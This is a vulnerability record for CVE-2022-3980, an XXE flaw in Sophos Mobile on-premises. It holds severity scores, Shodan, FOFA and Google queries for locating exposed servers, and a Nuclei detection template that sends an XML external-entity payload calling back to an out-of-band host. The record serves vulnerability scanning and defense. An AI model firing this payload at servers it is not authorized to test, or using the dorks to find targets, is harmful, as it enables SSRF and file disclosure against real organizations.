SecurityContext

CVE-2022-3980: Sophos Mobile managed on-premises - XML External Entity Injection

Classification

  • Cwe: CWE-611
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.12701
  • Epss percentile: 0.96362
  • Cpe: cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="Sophos Mobile", icon_hash=-1274798165, title="sophos mobile"
  • Google-query: intitle:"sophos mobile"
  • Max-request: 1
  • Product: mobile
  • Shodan-query: http.favicon.hash:-1274798165, http.title:"sophos mobile"
  • Vendor: sophos
  • Verified: yes

Products

ProductIndexedUrl
sophos:mobileyes/v1/products/sophos/mobile

Labels

  • Name: Sophos Mobile - XML External Entity Injection
  • Impact: Attackers can perform SSRF attacks and potentially execute arbitrary code on the server.
  • Remediation: Update to the latest version beyond 9.7.4.
  • Vulnerability type: xml_external_entity_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-3980
  • Not known: requirements

```yaml

id: CVE-2022-3980

info:

name: Sophos Mobile managed on-premises - XML External Entity Injection

author: dabla

severity: critical

description: |

An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.

impact: |

Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.

remediation: |

Apply the latest security patches or updates provided by Sophos to mitigate the vulnerability.

reference:

- https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee

- https://nvd.nist.gov/vuln/detail/CVE-2022-3980

- https://github.com/bigblackhat/oFx

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2022-3980

cwe-id: CWE-611

epss-score: 0.12701

epss-percentile: 0.96362

cpe: cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: sophos

product: mobile

shodan-query:

- http.favicon.hash:-1274798165

- http.title:"sophos mobile"

fofa-query:

- title="Sophos Mobile"

- icon_hash=-1274798165

- title="sophos mobile"

google-query: intitle:"sophos mobile"

tags: cve,cve2022,xxe,ssrf,sophos,vkev,vuln

http:

- raw:

- |

@timeout: 50s

POST /servlets/OmaDsServlet HTTP/1.1

Host: {{Hostname}}

Content-Type: "application/xml"

<?xml version="1.0"?>

<!DOCTYPE cdl [<!ENTITY % test SYSTEM "http://{{interactsh-url}}">%test;]>

<cdl>test</cdl>

redirects: true

max-redirects: 3

matchers:

- type: dsl

dsl:

- "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"

- "status_code == 400"

- "len(body) == 0"

condition: and

digest: 4a0a00473045022100a6744249c3499c4f2199e9c9f4a15e827a288d8f35719f2068ddda7279bc17b9022056b3dcbd4d23c90f26003b3f5cff12d71c9161c4999a0c51b7ef2a74c5e3365e:922c64590222798bb761d5b6d8e72950

```